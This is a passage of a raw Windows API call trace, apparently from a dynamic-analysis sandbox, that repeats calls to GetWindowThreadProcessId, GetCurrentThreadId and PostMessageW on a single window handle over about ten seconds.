hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0142.291] GetCurrentThreadId () returned 0xef8 [0142.291] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0142.291] GetCurrentThreadId () returned 0xef8 [0142.291] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0142.548] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0142.549] GetCurrentThreadId () returned 0xef8 [0142.549] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0142.549] GetCurrentThreadId () returned 0xef8 [0142.549] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0142.681] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0142.681] GetCurrentThreadId () returned 0xef8 [0142.681] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0142.681] GetCurrentThreadId () returned 0xef8 [0142.681] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0142.806] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0142.806] GetCurrentThreadId () returned 0xef8 [0142.806] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0142.806] GetCurrentThreadId () returned 0xef8 [0142.806] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0142.931] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0142.931] GetCurrentThreadId () returned 0xef8 [0142.931] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0142.931] GetCurrentThreadId () returned 0xef8 [0142.931] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0143.056] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0143.056] GetCurrentThreadId () returned 0xef8 [0143.056] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0143.056] GetCurrentThreadId () returned 0xef8 [0143.056] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0143.180] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0143.180] GetCurrentThreadId () returned 0xef8 [0143.181] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0143.181] GetCurrentThreadId () returned 0xef8 [0143.181] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0143.305] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0143.305] GetCurrentThreadId () returned 0xef8 [0143.305] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0143.305] GetCurrentThreadId () returned 0xef8 [0143.305] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0143.445] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0143.446] GetCurrentThreadId () returned 0xef8 [0143.446] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0143.446] GetCurrentThreadId () returned 0xef8 [0143.446] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0143.573] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0143.573] GetCurrentThreadId () returned 0xef8 [0143.573] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0143.574] GetCurrentThreadId () returned 0xef8 [0143.574] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0143.726] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0143.726] GetCurrentThreadId () returned 0xef8 [0143.726] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0143.726] GetCurrentThreadId () returned 0xef8 [0143.726] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0143.899] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0143.899] GetCurrentThreadId () returned 0xef8 [0143.899] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0143.899] GetCurrentThreadId () returned 0xef8 [0143.899] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0144.027] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0144.027] GetCurrentThreadId () returned 0xef8 [0144.027] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0144.027] GetCurrentThreadId () returned 0xef8 [0144.028] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0144.194] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0144.194] GetCurrentThreadId () returned 0xef8 [0144.194] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0144.194] GetCurrentThreadId () returned 0xef8 [0144.195] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0144.319] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0144.319] GetCurrentThreadId () returned 0xef8 [0144.319] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0144.319] GetCurrentThreadId () returned 0xef8 [0144.319] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0144.475] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0144.475] GetCurrentThreadId () returned 0xef8 [0144.475] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0144.475] GetCurrentThreadId () returned 0xef8 [0144.475] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0144.639] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0144.639] GetCurrentThreadId () returned 0xef8 [0144.639] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0144.639] GetCurrentThreadId () returned 0xef8 [0144.640] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0144.786] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0144.786] GetCurrentThreadId () returned 0xef8 [0144.786] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0144.787] GetCurrentThreadId () returned 0xef8 [0144.787] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0144.959] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0144.959] GetCurrentThreadId () returned 0xef8 [0144.959] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0144.959] GetCurrentThreadId () returned 0xef8 [0144.959] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0145.133] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0145.133] GetCurrentThreadId () returned 0xef8 [0145.134] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0145.134] GetCurrentThreadId () returned 0xef8 [0145.134] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0145.306] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0145.306] GetCurrentThreadId () returned 0xef8 [0145.308] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0145.308] GetCurrentThreadId () returned 0xef8 [0145.308] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0145.448] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0145.448] GetCurrentThreadId () returned 0xef8 [0145.448] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0145.448] GetCurrentThreadId () returned 0xef8 [0145.448] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0145.584] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0145.585] GetCurrentThreadId () returned 0xef8 [0145.585] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0145.585] GetCurrentThreadId () returned 0xef8 [0145.585] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0145.899] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0145.899] GetCurrentThreadId () returned 0xef8 [0145.899] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0145.899] GetCurrentThreadId () returned 0xef8 [0145.899] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0146.044] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0146.044] GetCurrentThreadId () returned 0xef8 [0146.044] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0146.044] GetCurrentThreadId () returned 0xef8 [0146.044] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0146.177] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0146.177] GetCurrentThreadId () returned 0xef8 [0146.177] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0146.177] GetCurrentThreadId () returned 0xef8 [0146.177] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0146.394] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0146.394] GetCurrentThreadId () returned 0xef8 [0146.394] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0146.394] GetCurrentThreadId () returned 0xef8 [0146.394] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0146.580] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0146.581] GetCurrentThreadId () returned 0xef8 [0146.581] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0146.581] GetCurrentThreadId () returned 0xef8 [0146.581] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0146.771] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0146.974] GetCurrentThreadId () returned 0xef8 [0146.974] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0146.974] GetCurrentThreadId () returned 0xef8 [0146.974] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0147.172] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0147.172] GetCurrentThreadId () returned 0xef8 [0147.172] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0147.172] GetCurrentThreadId () returned 0xef8 [0147.172] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0147.389] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0147.389] GetCurrentThreadId () returned 0xef8 [0147.389] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0147.389] GetCurrentThreadId () returned 0xef8 [0147.390] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0147.518] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0147.518] GetCurrentThreadId () returned 0xef8 [0147.518] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0147.518] GetCurrentThreadId () returned 0xef8 [0147.518] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0147.655] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0147.655] GetCurrentThreadId () returned 0xef8 [0147.655] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0147.655] GetCurrentThreadId () returned 0xef8 [0147.656] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0147.861] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0147.862] GetCurrentThreadId () returned 0xef8 [0147.862] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0147.862] GetCurrentThreadId () returned 0xef8 [0147.862] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0147.988] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0147.988] GetCurrentThreadId () returned 0xef8 [0147.988] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0147.988] GetCurrentThreadId () returned 0xef8 [0147.988] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0148.148] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0148.148] GetCurrentThreadId () returned 0xef8 [0148.148] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0148.148] GetCurrentThreadId () returned 0xef8 [0148.148] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0148.345] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0148.345] GetCurrentThreadId () returned 0xef8 [0148.345] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0148.345] GetCurrentThreadId () returned 0xef8 [0148.345] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0148.531] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0148.531] GetCurrentThreadId () returned 0xef8 [0148.531] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0148.531] GetCurrentThreadId () returned 0xef8 [0148.531] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0148.718] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0148.719] GetCurrentThreadId () returned 0xef8 [0148.719] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0148.719] GetCurrentThreadId () returned 0xef8 [0148.719] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0148.890] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0148.890] GetCurrentThreadId () returned 0xef8 [0148.890] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0148.890] GetCurrentThreadId () returned 0xef8 [0148.890] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0149.061] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0149.062] GetCurrentThreadId () returned 0xef8 [0149.062] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0149.062] GetCurrentThreadId () returned 0xef8 [0149.062] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0149.232] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0149.232] GetCurrentThreadId () returned 0xef8 [0149.232] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0149.232] GetCurrentThreadId () returned 0xef8 [0149.233] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0149.389] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0149.389] GetCurrentThreadId () returned 0xef8 [0149.389] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0149.389] GetCurrentThreadId () returned 0xef8 [0149.389] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0149.562] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0149.562] GetCurrentThreadId () returned 0xef8 [0149.562] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0149.562] GetCurrentThreadId () returned 0xef8 [0149.562] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0149.732] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0149.732] GetCurrentThreadId () returned 0xef8 [0149.732] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0149.732] GetCurrentThreadId () returned 0xef8 [0149.732] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0149.920] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0149.920] GetCurrentThreadId () returned 0xef8 [0149.920] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0149.921] GetCurrentThreadId () returned 0xef8 [0149.921] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0150.077] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0150.077] GetCurrentThreadId () returned 0xef8 [0150.077] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0150.077] GetCurrentThreadId () returned 0xef8 [0150.077] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0150.239] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0150.239] GetCurrentThreadId () returned 0xef8 [0150.239] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0150.239] GetCurrentThreadId () returned 0xef8 [0150.239] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0150.497] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0150.498] GetCurrentThreadId () returned 0xef8 [0150.498] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0150.498] GetCurrentThreadId () returned 0xef8 [0150.498] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0150.684] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0150.684] GetCurrentThreadId () returned 0xef8 [0150.684] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0150.684] GetCurrentThreadId () returned 0xef8 [0150.684] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0151.106] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0151.106] GetCurrentThreadId () returned 0xef8 [0151.106] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0151.106] GetCurrentThreadId () returned 0xef8 [0151.106] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0151.309] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0151.533] GetCurrentThreadId () returned 0xef8 [0151.533] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0151.588] GetCurrentThreadId () returned 0xef8 [0151.588] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0151.947] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0151.947] GetCurrentThreadId () returned 0xef8 [0151.947] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0151.947] GetCurrentThreadId () returned 0xef8 [0151.947] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0152.140] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0152.140] GetCurrentThreadId () returned 0xef8 [0152.140] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0152.140] GetCurrentThreadId () returned 0xef8 [0152.140] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0152.339] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0152.339] GetCurrentThreadId () returned 0xef8 [0152.339] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0152.339] GetCurrentThreadId () returned 0xef8 [0152.339] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0152.525] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0152.525] GetCurrentThreadId () returned 0xef8 [0152.525] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0152.525] GetCurrentThreadId () returned 0xef8 [0152.525] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0152.713] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0152.713] GetCurrentThreadId () returned 0xef8 [0152.713] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0152.714] GetCurrentThreadId () returned 0xef8 [0152.714] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0152.903] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0152.903] 